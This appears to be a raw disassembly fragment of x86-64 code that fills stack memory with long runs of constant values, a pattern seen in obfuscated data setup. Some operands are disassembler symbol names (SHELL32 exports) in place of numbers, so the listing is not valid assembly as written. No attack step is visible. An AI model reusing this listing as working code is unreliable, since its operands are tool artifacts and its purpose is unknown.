mov eax, 0xc20
mov word [rsp + 0x1bb0], ax
mov dword [rsp + 0x7ad4], 0x3f50
mov dword [rsp + 0x7ad8], 0x5570
mov eax, 0x7d2
mov word [rsp + 0x1bb4], ax
mov byte [rsp + 0x290], 0x7d
mov dword [rsp + 0x7adc], 0x5f70
mov dword [rsp + 0x7ae0], 0x31f7
mov eax, 0x7a8
mov word [rsp + 0x1bb8], ax
mov dword [rsp + 0x7ae4], 0x2ce1
mov dword [rsp + 0x7ae8], 0x7849
mov byte [rsp + 0x291], 0xc8
mov dword [rsp + 0x7aec], 0xfb9
mov dword [rsp + 0x7af0], 0x5dce
mov eax, 0xe8d
mov word [rsp + 0x1bbc], ax
mov eax, 0xe63
mov word [rsp + 0x1bc0], ax
mov eax, 0x8e
mov word [rsp + 0x1bc4], ax
mov dword [rsp + 0x7af4], 0x20b
mov dword [rsp + 0x7af8], 0x1c8a
mov byte [rsp + 0x292], 0x61
mov eax, 0x2e6
mov word [rsp + 0x1bc8], ax
mov byte [rsp + 0x293], 0x6c
mov dword [rsp + 0x7afc], 0x212c
mov dword [rsp + 0x7b00], 0xc0c6
mov dword [rsp + 0x7b04], 0x6f34
mov byte [rsp + 0x294], 0x61
mov dword [rsp + 0x7b08], 0x248c
mov dword [rsp + 0x7b0c], 0x7796
mov eax, 0x5e8
mov word [rsp + 0x1bcc], ax
mov eax, 0xc44
mov word [rsp + 0x1bd0], ax
mov dword [rsp + 0x7b10], 0x4664
mov dword [rsp + 0x7b14], 0x7eca
mov dword [rsp + 0x7b18], 0x5cc6
mov dword [rsp + 0x7b1c], 0x1681
mov byte [rsp + 0x295], 0x3d
mov dword [rsp + 0x7b20], 0x1a5
mov dword [rsp + 0x7b24], 0x749
mov dword [rsp + 0x7b28], 0xc0fc
mov eax, 0x452
mov word [rsp + 0x1bd4], ax
mov dword [rsp + 0x7b2c], 0xe935
mov dword [rsp + 0x7b30], 0x29c7
mov dword [rsp + 0x7b34], 0x54ff
mov byte [rsp + 0x296], 0x11
mov dword [rsp + 0x7b38], 0x49b5
mov dword [rsp + 0x7b3c], 0xed8d
mov byte [rsp + 0x297], SHDoDragDrop
mov dword [rsp + 0x7b40], 0xfc96
mov dword [rsp + 0x7b44], 0x1876
mov dword [rsp + 0x7b48], 0xe659
mov byte [rsp + 0x298], 0x7c
mov dword [rsp + 0x7b4c], 0x42db
mov eax, 0x69f
mov word [rsp + 0x1bd8], ax
mov dword [rsp + 0x7b50], 0x6130
mov dword [rsp + 0x7b54], 0xde75
mov eax, 0x613
mov word [rsp + 0x1bdc], ax
mov byte [rsp + 0x299], 0x3c
mov dword [rsp + 0x7b58], 0x6850
mov dword [rsp + 0x7b5c], 0x38e9
mov byte [rsp + 0x29a], 0x6c
mov dword [rsp + 0x7b60], 0x2dd6
mov dword [rsp + 0x7b64], 0x3a54
mov dword [rsp + 0x7b68], 0x7101
mov byte [rsp + 0x29b], 0x7e
mov dword [rsp + 0x7b6c], 0x75b6
mov dword [rsp + 0x7b70], 0x3a0a
mov byte [rsp + 0x29c], 0x4d
mov eax, 0xc80
mov word [rsp + 0x1be0], ax
mov dword [rsp + 0x7b74], 0x382b
mov byte [rsp + 0x29d], SHDoDragDrop
mov dword [rsp + 0x7b78], 0x1f3e
mov byte [rsp + 0x29e], 0x31
mov eax, 0x30d
mov word [rsp + 0x1be4], ax
mov byte [rsp + 0x29f], 0x6c
mov dword [rsp + 0x7b7c], 0x2fcd
mov dword [rsp + 0x7b80], 0x2d4d
mov eax, 0x8d6
mov word [rsp + 0x1be8], ax
mov byte [rsp + 0x2a0], 0xd1
mov eax, 0x1f8
mov word [rsp + 0x1bec], ax
mov byte [rsp + 0x2a1], 0x67
mov dword [rsp + 0x7b84], 0x2ea6
mov dword [rsp + 0x7b88], 0x11a6
mov dword [rsp + 0x7b8c], 0x5506
mov dword [rsp + 0x7b90], 0x7951
mov byte [rsp + 0x2a2], SHSetInstanceExplorer
mov dword [rsp + 0x7b94], 0x5824
mov dword [rsp + 0x7b98], 0x2faa
mov dword [rsp + 0x7b9c], 0xfc9d
mov dword [rsp + 0x7ba0], 0x2703
mov eax, 0x790
mov word [rsp + 0x1bf0], ax
mov dword [rsp + 0x7ba4], 0x3aa9
mov eax, 0x7fc
mov word [rsp + 0x1bf4], ax
mov byte [rsp + 0x2a3], 5
mov eax, 0x5ac
mov word [rsp + 0x1bf8], ax
mov dword [rsp + 0x7ba8], 0x401e
mov dword [rsp + 0x7bac], 0x69d4
mov byte [rsp + 0x2a4], 0xdc
mov dword [rsp + 0x7bb0], 0x3ce9
mov dword [rsp + 0x7bb4], 0x249b
mov eax, 0x1b7
mov word [rsp + 0x1bfc], ax
mov byte [rsp + 0x2a5], 0x2b
mov dword [rsp + 0x7bb8], 0x3935
mov byte [rsp + 0x2a6], 0x67
mov dword [rsp + 0x7bbc], 0x39e1
mov eax, 0xc4e
mov word [rsp + 0x1c00], ax
mov dword [rsp + 0x7bc0], 0x486
mov byte [rsp + 0x2a7], 0x12
mov dword [rsp + 0x7bc4], 0xc6f7
mov dword [rsp + 0x7bc8], 0x48d4
mov dword [rsp + 0x7bcc], 0x373f
mov dword [rsp + 0x7bd0], 0x8d37
mov dword [rsp + 0x7bd4], 0x53c7
mov dword [rsp + 0x7bd8], 0x4be
mov dword [rsp + 0x7bdc], 0xd750
mov dword [rsp + 0x7be0], 0x272a
mov byte [rsp + 0x2a8], 0x88
mov byte [rsp + 0x2a9], 0x39
mov dword [rsp + 0x7be4], 0x6701
mov eax, 0x677
mov word [rsp + 0x1c04], ax
mov eax, 0x449
mov word [rsp + 0x1c08], ax
mov dword [rsp + 0x7be8], 0x3b11
mov dword [rsp + 0x7bec], 0x1d73
mov dword [rsp + 0x7bf0], 0x52d9
mov dword [rsp + 0x7bf4], 0x6e50
mov dword [rsp + 0x7bf8], 0x22f5
mov dword [rsp + 0x7bfc], 0x3be7
mov dword [rsp + 0x7c00], 0x1f44
mov dword [rsp + 0x7c04], 0x65b5
mov dword [rsp + 0x7c08], 0x285b
mov dword [rsp + 0x7c0c], 0xa682
mov dword [rsp + 0x7c10], 0xce50
mov dword [rsp + 0x7c14], 0x6d22
mov byte [rsp + 0x2aa], 2
mov byte [rsp + 0x2ab], 0xc0
mov eax, 0xf04
mov word [rsp + 0x1c0c], ax
mov byte [rsp + 0x2ac], 0xc2
mov dword [rsp + 0x7c18], 0x3dc7
mov eax, 0x4b3
mov word [rsp + 0x1c10], ax
mov dword [rsp + 0x7c1c], 0xc5aa
mov dword [rsp + 0x7c20], 0x3137
mov byte [rsp + 0x2ad], 0x61
mov dword [rsp + 0x7c24], 0x3531
mov eax, 0xaee
mov word [rsp + 0x1c14], ax
mov dword [rsp + 0x7c28], 0x3c8c
mov byte [rsp + 0x2ae], 0x5f
mov byte [rsp + 0x2af], 0x84
mov dword [rsp + 0x7c2c], 0x4bae
mov byte [rsp + 0x2b0], 0x11
mov dword [rsp + 0x7c30], 0x64cb
mov byte [rsp + 0x2b1], 0x17
mov byte [rsp + 0x2b2], 0xde
mov dword [rsp + 0x7c34], 0xcfc0
mov eax, 0x150
mov word [rsp + 0x1c18], ax
mov dword [rsp + 0x7c38], 0x4369
mov byte [rsp + 0x2b3], 0x43
mov dword [rsp + 0x7c3c], 0x7fec
mov dword [rsp + 0x7c40], 0x20b
mov dword [rsp + 0x7c44], 0x59ce
mov dword [rsp + 0x7c48], 0xd08
mov dword [rsp + 0x7c4c], 0x3b41
mov dword [rsp + 0x7c50], 0xbe86
mov byte [rsp + 0x2b4], 0x6e
mov eax, 0x558
mov word [rsp + 0x1c1c], ax
mov dword [rsp + 0x7c54], 0x56a7
mov dword [rsp + 0x7c58], 0x5b5
mov eax, 0x2c4
mov word [rsp + 0x1c20], ax
mov dword [rsp + 0x7c5c], 0x1e3b
mov dword [rsp + 0x7c60], 0x3657
mov dword [rsp + 0x7c64], 0x2bb9
mov dword [rsp + 0x7c68], 0x672c
mov dword [rsp + 0x7c6c], 0x159
mov byte [rsp + 0x2b5], 0x5d
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x1c24], ax
mov eax, 0x619
mov word [rsp + 0x1c28], ax
mov dword [rsp + 0x7c70], 0x513b
mov dword [rsp + 0x7c74], 0x96bb
mov byte [rsp + 0x2b6], 4
mov byte [rsp + 0x2b7], 0x92
mov eax, 0x20
mov word [rsp + 0x1c2c], ax
mov dword [rsp + 0x7c78], 0x548
mov dword [rsp + 0x7c7c], 0xe6c1
mov eax, 0xe50
mov word [rsp + 0x1c30], ax
mov eax, 0x1f
mov word [rsp + 0x1c34], ax
mov dword [rsp + 0x7c80], 0x5316
mov dword [rsp + 0x7c84], 0x350e
mov byte [rsp + 0x2b8], 0x20
mov eax, 0xd38
mov word [rsp + 0x1c38], ax
mov byte [rsp + 0x2b9], 0x65
mov dword [rsp + 0x7c88], 0xe4d1
mov dword [rsp + 0x7c8c], 0xfb76
mov dword [rsp + 0x7c90], 0x5c82
mov dword [rsp + 0x7c94], 0x58e1
mov dword [rsp + 0x7c98], 0x6eed
mov dword [rsp + 0x7c9c], 0x6991
mov eax, 0x491
mov word [rsp + 0x1c3c], ax
mov dword [rsp + 0x7ca0], 0x5454
mov dword [rsp + 0x7ca4], 0x8847
mov dword [rsp + 0x7ca8], 0x3cae
mov dword [rsp + 0x7cac], 0x36bf
mov byte [rsp + 0x2ba], 0x9e
mov dword [rsp + 0x7cb0], 0x48b4
mov dword [rsp + 0x7cb4], 0x3dd5
mov dword [rsp + 0x7cb8], 0x2a88
mov byte [rsp + 0x2bb], 0xee
mov dword [rsp + 0x7cbc], 0x1d6f
mov dword [rsp + 0x7cc0], 0x4189
mov eax, SHDoDragDrop
mov word [rsp + 0x1c40], ax
mov dword [rsp + 0x7cc4], 0x7188
mov dword [rsp + 0x7cc8], 0x46a5
mov dword [rsp + 0x7ccc], 0x4066
mov dword [rsp + 0x7cd0], 0xdf37
mov dword [rsp + 0x7cd4], 0xc160
mov eax, 0xf60
mov word [rsp + 0x1c44], ax
mov dword [rsp + 0x7cd8], 0x2e04
mov byte [rsp + 0x2bc], 0x7b
mov dword [rsp + 0x7cdc], 0x45b2
mov dword [rsp + 0x7ce0], 0x712f
mov dword [rsp + 0x7ce4], 0x6df8
mov dword [rsp + 0x7ce8], 0x6f16
mov byte [rsp + 0x2bd], 8
mov eax, 0xdf8
mov word [rsp + 0x1c48], ax
mov byte [rsp + 0x2be], 0xcb
mov dword [rsp + 0x7cec], 0x614
mov dword [rsp + 0x7cf0], 0xe94c
mov dword [rsp + 0x7cf4], 0x53b7
mov dword [rsp + 0x7cf8], 0x77ac
mov dword [rsp + 0x7cfc], 0x7a12
mov byte [rsp + 0x2bf], 0x1b
mov dword [rsp + 0x7d00], 0x684e
mov dword [rsp + 0x7d04], 0xc009
mov byte [rsp + 0x2c0], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x7d08], 0x70f
mov dword [rsp + 0x7d0c], 0xe16
mov dword [rsp + 0x7d10], 0x72ec
mov dword [rsp + 0x7d14], 0x5213
mov eax, 0x120
mov word [rsp + 0x1c4c], ax
mov eax, 0xb51
mov word [rsp + 0x1c50], ax
mov eax, 0x3d2
mov word [rsp + 0x1c54], ax
mov dword [rsp + 0x7d18], 0xa735
mov byte [rsp + 0x2c1], 0x6e
mov dword [rsp + 0x7d1c], 0x454b
mov byte [rsp + 0x2c2], 0xfd
mov eax, 0x1e8
mov word [rsp + 0x1c58], ax
mov byte [rsp + 0x2c3], SHSetInstanceExplorer
mov byte [rsp + 0x2c4], 0x5f
mov eax, 0x56d
mov word [rsp + 0x1c5c], ax
mov dword [rsp + 0x7d20], 0x5dfa
mov eax, 0x45e
mov word [rsp + 0x1c60], ax
mov byte [rsp + 0x2c5], 0x69
mov eax, 0x156
mov word [rsp + 0x1c64], ax
mov dword [rsp + 0x7d24], 0xba9
mov dword [rsp + 0x7d28], 0x3906
mov dword [rsp + 0x7d2c], 0x5def
mov eax, 0xdb7
mov word [rsp + 0x1c68], ax
mov eax, 0x1ab
mov word [rsp + 0x1c6c], ax
mov dword [rsp + 0x7d30], 0x1af
mov eax, 0x1b8
mov word [rsp + 0x1c70], ax
mov eax, 0xa3c
mov word [rsp + 0x1c74], ax
mov dword [rsp + 0x7d34], 0x8bed
mov dword [rsp + 0x7d38], 0xe9c0
mov byte [rsp + 0x2c6], 0xfe
mov byte [rsp + 0x2c7], 1
mov eax, 0x4bf
mov word [rsp + 0x1c78], ax
mov dword [rsp + 0x7d3c], 0x2d8
mov dword [rsp + 0x7d40], 0x53c2
mov dword [rsp + 0x7d44], 0x3807
mov dword [rsp + 0x7d48], 0x1e3c
mov byte [rsp + 0x2c8], 0x77
mov byte [rsp + 0x2c9], 0x2a
mov dword [rsp + 0x7d4c], 0x2fbe
mov eax, 0x4a0
mov word [rsp + 0x1c7c], ax
mov byte [rsp + 0x2ca], 0xd2
mov dword [rsp + 0x7d50], 0x58e4
mov dword [rsp + 0x7d54], 0x55b3
mov dword [rsp + 0x7d58], 0x6d0f
mov dword [rsp + 0x7d5c], 0x5c25
mov eax, 0x1bb
mov word [rsp + 0x1c80], ax
mov byte [rsp + 0x2cb], 0x78
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], 0x18
mov eax, 0xb48
mov word [rsp + 0x1c84], ax
mov eax, 0xada
mov word [rsp + 0x1c88], ax
mov eax, 0x3e4
mov word [rsp + 0x1c8c], ax
mov dword [rsp + 0x7d60], 0x7533
mov byte [rsp + 0x2cd], 0x63
mov byte [rsp + 0x2ce], 0x42
mov eax, 0x6b
mov word [rsp + 0x1c90], ax
mov byte [rsp + 0x2cf], SHSetInstanceExplorer
mov byte [rsp + 0x2d0], ILFree
mov dword [rsp + 0x7d64], 0xc1d
mov dword [rsp + 0x7d68], 0x5492
mov dword [rsp + 0x7d6c], 0x4a42
mov dword [rsp + 0x7d70], 0x74a4
mov dword [rsp + 0x7d74], 0x6b81
mov dword [rsp + 0x7d78], 0x83c5
mov dword [rsp + 0x7d7c], 0xb7d5
mov dword [rsp + 0x7d80], 0x2394
mov eax, 0xb6d
mov word [rsp + 0x1c94], ax
mov eax, 0x18e
mov word [rsp + 0x1c98], ax
mov dword [rsp + 0x7d84], 0x169a
mov dword [rsp + 0x7d88], 0x4a23
mov byte [rsp + 0x2d1], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x7d8c], 0x4a1a
mov eax, 0xb40
mov word [rsp + 0x1c9c], ax
mov dword [rsp + 0x7d90], 0x5265
mov dword [rsp + 0x7d94], 0x7f53
mov dword [rsp + 0x7d98], 0x70f2
mov dword [rsp + 0x7d9c], 0x7410
mov dword [rsp + 0x7da0], 0x5961
mov eax, 0x5b1
mov word [rsp + 0x1ca0], ax
mov byte [rsp + 0x2d2], 0x7d
mov eax, 0x2bd
mov word [rsp + 0x1ca4], ax
mov dword [rsp + 0x7da4], 0x1aba
mov byte [rsp + 0x2d3], 0xe0
mov byte [rsp + 0x2d4], 0x62
mov eax, 0xd6b
mov word [rsp + 0x1ca8], ax
mov eax, 0x56f
mov word [rsp + 0x1cac], ax
mov dword [rsp + 0x7da8], 0x2995
mov dword [rsp + 0x7dac], 0x26f9
mov dword [rsp + 0x7db0], 0x1d73
mov dword [rsp + 0x7db4], 0x1874
mov dword [rsp + 0x7db8], 0x7793
mov dword [rsp + 0x7dbc], 0x5fc9
mov dword [rsp + 0x7dc0], 0x3d34
mov dword [rsp + 0x7dc4], 0x7589
mov dword [rsp + 0x7dc8], 0xa580
mov dword [rsp + 0x7dcc], 0x49fb
mov byte [rsp + 0x2d5], 0xf4
mov dword [rsp + 0x7dd0], 0x817a
mov dword [rsp + 0x7dd4], 0x532a
mov byte [rsp + 0x2d6], 0x31
mov dword [rsp + 0x7dd8], 0x35b1
mov dword [rsp + 0x7ddc], 0xdec
mov dword [rsp + 0x7de0], 0x6ede
mov byte [rsp + 0x2d7], 0x50
mov dword [rsp + 0x7de4], 0x6a95
mov dword [rsp + 0x7de8], 0x6ad
mov eax, 0xd35
mov word [rsp + 0x1cb0], ax
mov eax, 0x23b
mov word [rsp + 0x1cb4], ax
mov dword [rsp + 0x7dec], 0x48a7
mov byte [rsp + 0x2d8], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x7df0], 0x1aae
mov eax, 0x925
mov word [rsp + 0x1cb8], ax
mov eax, 0x759
mov word [rsp + 0x1cbc], ax
mov dword [rsp + 0x7df4], 0x8190
mov byte [rsp + 0x2d9], 0x6b
mov dword [rsp + 0x7df8], 0x50b5
mov dword [rsp + 0x7dfc], 0xadeb
mov dword [rsp + 0x7e00], 0x1b09
mov dword [rsp + 0x7e04], 0x27fc
mov dword [rsp + 0x7e08], 0x1989
mov dword [rsp + 0x7e0c], 0x15d7
mov byte [rsp + 0x2da], 0x40
mov dword [rsp + 0x7e10], 0xc850
mov byte [rsp + 0x2db], 0x8a
mov eax, 0xe5c
mov word [rsp + 0x1cc0], ax
mov dword [rsp + 0x7e14], 0x2edc
mov eax, 0x6ad
mov word [rsp + 0x1cc4], ax
mov byte [rsp + 0x2dc], 0xc7
mov dword [rsp + 0x7e18], 0x29aa
mov dword [rsp + 0x7e1c], 0xcdb5
mov dword [rsp + 0x7e20], 0x501d
mov dword [rsp + 0x7e24], 0x14a1
mov dword [rsp + 0x7e28], 0x4413
mov eax, 0x8f0
mov word [rsp + 0x1cc8], ax
mov dword [rsp + 0x7e2c], 0x9c0a
mov dword [rsp + 0x7e30], 0x4d5e
mov dword [rsp + 0x7e34], 0x55fa
mov dword [rsp + 0x7e38], 0xc5
mov byte [rsp + 0x2dd], ILFree
mov dword [rsp + 0x7e3c], 0x226a
mov dword [rsp + 0x7e40], 0x781a
mov dword [rsp + 0x7e44], 0x5cf3
mov dword [rsp + 0x7e48], 0x4d16
mov dword [rsp + 0x7e4c], 0x1ad5
mov eax, 0xd81
mov word [rsp + 0x1ccc], ax
mov dword [rsp + 0x7e50], 0x7ccb
mov dword [rsp + 0x7e54], 0x16e4
mov dword [rsp + 0x7e58], 0x4557
mov byte [rsp + 0x2de], 0x61
mov eax, 0x76b
mov word [rsp + 0x1cd0], ax
mov dword [rsp + 0x7e5c], 0x3504
mov byte [rsp + 0x2df], 0x34
mov dword [rsp + 0x7e60], 0xe2c
mov eax, 0x8a8
mov word [rsp + 0x1cd4], ax
mov eax, 0xa8c
mov word [rsp + 0x1cd8], ax
mov dword [rsp + 0x7e64], 0x3b6c
mov dword [rsp + 0x7e68], 0x1963
mov byte [rsp + 0x2e0], 0x32
mov byte [rsp + 0x2e1], 0xc6
mov dword [rsp + 0x7e6c], 0x2070
mov dword [rsp + 0x7e70], 0xd084
mov dword [rsp + 0x7e74], 0x24fc
mov eax, 0x737
mov word [rsp + 0x1cdc], ax
mov eax, 0xd80
mov word [rsp + 0x1ce0], ax
mov dword [rsp + 0x7e78], 0x311f
mov dword [rsp + 0x7e7c], 0xde8
mov dword [rsp + 0x7e80], 0xf120
mov dword [rsp + 0x7e84], 0x68dc
mov eax, 0x81c
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x7e88], 0xf5
mov eax, 0x6ee
mov word [rsp + 0x1ce8], ax
mov dword [rsp + 0x7e8c], 0x23f3
mov eax, 0xd3
mov word [rsp + 0x1cec], ax
mov dword [rsp + 0x7e90], 0x64c0
mov dword [rsp + 0x7e94], 0x33e0
mov byte [rsp + 0x2e2], 0xdc
mov eax, 0xe6
mov word [rsp + 0x1cf0], ax
mov dword [rsp + 0x7e98], 0x6ead
mov dword [rsp + 0x7e9c], 0x497d
mov eax, 0x6b0
mov word [rsp + 0x1cf4], ax
mov byte [rsp + 0x2e3], 0xcd
mov dword [rsp + 0x7ea0], 0xbf73
mov byte [rsp + 0x2e4], 0x3e
mov dword [rsp + 0x7ea4], 0x27c7
mov dword [rsp + 0x7ea8], 0x3b9a
mov eax, 0x903
mov word [rsp + 0x1cf8], ax
mov dword [rsp + 0x7eac], 0x50bb
mov dword [rsp + 0x7eb0], 0x7d8f
mov dword [rsp + 0x7eb4], 0x6a13
mov byte [rsp + 0x2e5], 0xbe
mov dword [rsp + 0x7eb8], 0x619d
mov dword [rsp + 0x7ebc], 0x5d6a
mov byte [rsp + 0x2e6], 0x32
mov eax, 0x7df
mov word [rsp + 0x1cfc], ax
mov byte [rsp + 0x2e7], 1
mov byte [rsp + 0x2e8], 0x5d
mov eax, 0x437
mov word [rsp + 0x1d00], ax
mov dword [rsp + 0x7ec0], 0x69d1
mov byte [rsp + 0x2e9], 0x6d
mov dword [rsp + 0x7ec4], 0x69e3
mov dword [rsp + 0x7ec8], 0xcb87
mov dword [rsp + 0x7ecc], 0xe3c
mov dword [rsp + 0x7ed0], 0x60cd
mov eax, 0x46c
mov word [rsp + 0x1d04], ax
mov dword [rsp + 0x7ed4], 0x1ba2
mov dword [rsp + 0x7ed8], 0x6020
mov byte [rsp + 0x2ea], 0xe8
mov dword [rsp + 0x7edc], 0x484f
mov dword [rsp + 0x7ee0], 0xd926
mov dword [rsp + 0x7ee4], 0x5cbc
mov dword [rsp + 0x7ee8], 0xbf37
mov dword [rsp + 0x7eec], 0x59fd
mov dword [rsp + 0x7ef0], 0x4306
mov dword [rsp + 0x7ef4], 0x1f01
mov dword [rsp + 0x7ef8], 0x28c3
mov eax, 0x325
mov word [rsp + 0x1d08], ax
mov dword [rsp + 0x7efc], 0xc24
mov dword [rsp + 0x7f00], 0x9db5
mov eax, 0x35b
mov word [rsp + 0x1d0c], ax
mov eax, 0x1c7
mov word [rsp + 0x1d10], ax
mov byte [rsp + 0x2eb], 3
mov eax, 0x3b0
mov word [rsp + 0x1d14], ax
mov dword [rsp + 0x7f04], 0x82a
mov dword [rsp + 0x7f08], 0xb624
mov dword [rsp + 0x7f0c], 0x2f61
mov dword [rsp + 0x7f10], 0xf9ed
mov dword [rsp + 0x7f14], 0x3d76
mov dword [rsp + 0x7f18], 0x7f34
mov dword [rsp + 0x7f1c], 0x3e4c
mov byte [rsp + 0x2ec], 0x17
mov eax, 0xa3
mov word [rsp + 0x1d18], ax
mov dword [rsp + 0x7f20], 0xbb16
mov byte [rsp + 0x2ed], 0xcb
mov byte [rsp + 0x2ee], 0x87
mov eax, 0xfa6
mov word [rsp + 0x1d1c], ax
mov dword [rsp + 0x7f24], 0x4097
mov dword [rsp + 0x7f28], 0x27f7
mov byte [rsp + 0x2ef], 0x34
mov eax, 0x8e
mov word [rsp + 0x1d20], ax
mov dword [rsp + 0x7f2c], 0x1578
mov dword [rsp + 0x7f30], 0x9a3c
mov dword [rsp + 0x7f34], 0xd51
mov dword [rsp + 0x7f38], 0xcb5
mov dword [rsp + 0x7f3c], 0xd338
mov dword [rsp + 0x7f40], 0x2bf4
mov byte [rsp + 0x2f0], 0x1a
mov eax, 0x1b7
mov word [rsp + 0x1d24], ax
mov dword [rsp + 0x7f44], 0x7740
mov dword [rsp + 0x7f48], 0x1b13
mov dword [rsp + 0x7f4c], 0x2f72
mov dword [rsp + 0x7f50], 0x4e09
mov byte [rsp + 0x2f1], 0x69
mov dword [rsp + 0x7f54], 0x1da2
mov dword [rsp + 0x7f58], 0x21b5
mov dword [rsp + 0x7f5c], 0x7bf8
mov eax, 0x340
mov word [rsp + 0x1d28], ax
mov dword [rsp + 0x7f60], 0x2d4c
mov dword [rsp + 0x7f64], 0x7f05
mov eax, 0x4b9
mov word [rsp + 0x1d2c], ax
mov dword [rsp + 0x7f68], 0x4738
mov eax, 0x794
mov word [rsp + 0x1d30], ax
mov dword [rsp + 0x7f6c], 0x6c17
mov byte [rsp + 0x2f2], ILFree
mov dword [rsp + 0x7f70], 0xeda0
mov dword [rsp + 0x7f74], 0x2eb6
mov eax, 0x281
mov word [rsp + 0x1d34], ax
mov byte [rsp + 0x2f3], 0x77
mov dword [rsp + 0x7f78], 0x1f80
mov byte [rsp + 0x2f4], 0xf7
mov eax, 0x9d1
mov word [rsp + 0x1d38], ax
mov dword [rsp + 0x7f7c], 0xf7b
mov byte [rsp + 0x2f5], 0x10
mov dword [rsp + 0x7f80], 0x2892
mov dword [rsp + 0x7f84], 0xffc1
mov byte [rsp + 0x2f6], 0x7c
mov eax, 0x1a5
mov word [rsp + 0x1d3c], ax
mov dword [rsp + 0x7f88], 0x312
mov byte [rsp + 0x2f7], 0x35
mov byte [rsp + 0x2f8], 0x1d
mov dword [rsp + 0x7f8c], 0xbc09
mov eax, 0x550
mov word [rsp + 0x1d40], ax
mov dword [rsp + 0x7f90], 0x66ff
mov dword [rsp + 0x7f94], 0x3d96
mov dword [rsp + 0x7f98], 0x6a43
mov dword [rsp + 0x7f9c], 0x5681
mov dword [rsp + 0x7fa0], 0x3658
mov dword [rsp + 0x7fa4], 0x853
mov dword [rsp + 0x7fa8], 0x751b
mov eax, 0x70d
mov word [rsp + 0x1d44], ax
mov byte [rsp + 0x2f9], 0xf5
mov dword [rsp + 0x7fac], 0x2f45
mov eax, 0x9e6
mov word [rsp + 0x1d48], ax
mov dword [rsp + 0x7fb0], 0xee5d
mov byte [rsp + 0x2fa], 0xcc
mov dword [rsp + 0x7fb4], 0x735e
mov dword [rsp + 0x7fb8], 0x4c2e
mov byte [rsp + 0x2fb], 0x36
mov eax, 0x72e
mov word [rsp + 0x1d4c], ax
mov dword [rsp + 0x7fbc], 0x1fc5
mov byte [rsp + 0x2fc], ILFree
mov dword [rsp + 0x7fc0], 0x9864
mov eax, 0x332
mov word [rsp + 0x1d50], ax
mov byte [rsp + 0x2fd], 0x31
mov eax, 0xc59
mov word [rsp + 0x1d54], ax
mov dword [rsp + 0x7fc4], 0x5993
mov dword [rsp + 0x7fc8], 0x21bd
mov eax, 0x784
mov word [rsp + 0x1d58], ax
mov dword [rsp + 0x7fcc], 0x31e6
mov dword [rsp + 0x7fd0], 0xa91c
mov byte [rsp + 0x2fe], SHDoDragDrop
mov dword [rsp + 0x7fd4], 0x7682
mov byte [rsp + 0x2ff], 0x73
mov byte [rsp + 0x300], 0x27
mov byte [rsp + 0x301], 0xd9
mov byte [rsp + 0x302], 0x9c
mov byte [rsp + 0x303], 0x80
mov dword [rsp + 0x7fd8], 0x601a
mov dword [rsp + 0x7fdc], 0x5f27
mov dword [rsp + 0x7fe0], 0xb8a5
mov eax, 0xbbd
mov word [rsp + 0x1d5c], ax
mov byte [rsp + 0x304], 0xf1
mov eax, 0x4ce
mov word [rsp + 0x1d60], ax
mov byte [rsp + 0x305], 0x33
mov dword [rsp + 0x7fe4], 0x7bc5
mov dword [rsp + 0x7fe8], 0x75b9
mov dword [rsp + 0x7fec], 0x3a12
mov dword [rsp + 0x7ff0], 0x4d9d
mov dword [rsp + 0x7ff4], 0x4571
mov byte [rsp + 0x306], 0xd4
mov dword [rsp + 0x7ff8], 0x98fb
mov eax, 0x172
mov word [rsp + 0x1d64], ax
mov eax, 0x426
mov word [rsp + 0x1d68], ax
mov dword [rsp + 0x7ffc], 0x1447
mov byte [rsp + 0x307], 0xd0
mov dword [rsp + 0x8000], 0x9343
mov dword [rsp + 0x8004], 0x7fd6
mov dword [rsp + 0x8008], 0x4d54
mov dword [rsp + 0x800c], 0x6f6d
mov byte [rsp + 0x308], 0xa2
mov dword [rsp + 0x8010], 0x377c
mov eax, 0x47d
mov word [rsp + 0x1d6c], ax
mov dword [rsp + 0x8014], 0x1c47
mov byte [rsp + 0x309], 0xa7
mov dword [rsp + 0x8018], 0x197f
mov byte [rsp + 0x30a], 0x6e
mov dword [rsp + 0x801c], 0x48b9
mov dword [rsp + 0x8020], 0x4f8a
mov dword [rsp + 0x8024], 0x22c
mov byte [rsp + 0x30b], 0xcc
mov dword [rsp + 0x8028], 0x104d
mov eax, 0x88c
mov word [rsp + 0x1d70], ax
mov byte [rsp + 0x30c], 0xfd
mov eax, 0xd99
mov word [rsp + 0x1d74], ax
mov dword [rsp + 0x802c], 0xcc3
mov dword [rsp + 0x8030], 0x5851
mov dword [rsp + 0x8034], 0x5f92
mov dword [rsp + 0x8038], 0x246b
mov byte [rsp + 0x30d], 0x37
mov dword [rsp + 0x803c], 0x3456
mov eax, 0x708
mov word [rsp + 0x1d78], ax
mov eax, 0xec1
mov word [rsp + 0x1d7c], ax
mov eax, 0x27d
mov word [rsp + 0x1d80], ax
mov eax, 0xd60
mov word [rsp + 0x1d84], ax
mov dword [rsp + 0x8040], 0x434
mov dword [rsp + 0x8044], 0xd3b
mov byte [rsp + 0x30e], 0x19
mov byte [rsp + 0x30f], 0x39
mov eax, 0x282
mov word [rsp + 0x1d88], ax
mov dword [rsp + 0x8048], 0xdbe5
mov eax, 0x780
mov word [rsp + 0x1d8c], ax
mov byte [rsp + 0x310], 0x6c
mov eax, 0x171
mov word [rsp + 0x1d90], ax
mov eax, 0x87
mov word [rsp + 0x1d94], ax
mov dword [rsp + 0x804c], 0x2a75
mov eax, 0x69
mov word [rsp + 0x1d98], ax
mov dword [rsp + 0x8050], 0x5c92
mov byte [rsp + 0x311], 0x4d
mov dword [rsp + 0x8054], 0x4f
mov dword [rsp + 0x8058], 0x256c
mov eax, 0x77f
mov word [rsp + 0x1d9c], ax
mov dword [rsp + 0x805c], 0x1460
mov byte [rsp + 0x312], 9
mov eax, 0x695
mov word [rsp + 0x1da0], ax
mov dword [rsp + 0x8060], 0x162
mov byte [rsp + 0x313], 0x22
mov byte [rsp + 0x314], 4
mov eax, 0x57d
mov word [rsp + 0x1da4], ax
mov eax, 0x595
mov word [rsp + 0x1da8], ax
mov dword [rsp + 0x8064], 0x2d01
mov dword [rsp + 0x8068], 0xaa8e
mov dword [rsp + 0x806c], 0x2b5d
mov dword [rsp + 0x8070], 0x126a
mov eax, 0x47a
mov word [rsp + 0x1dac], ax
mov eax, 0x46f
mov word [rsp + 0x1db0], ax
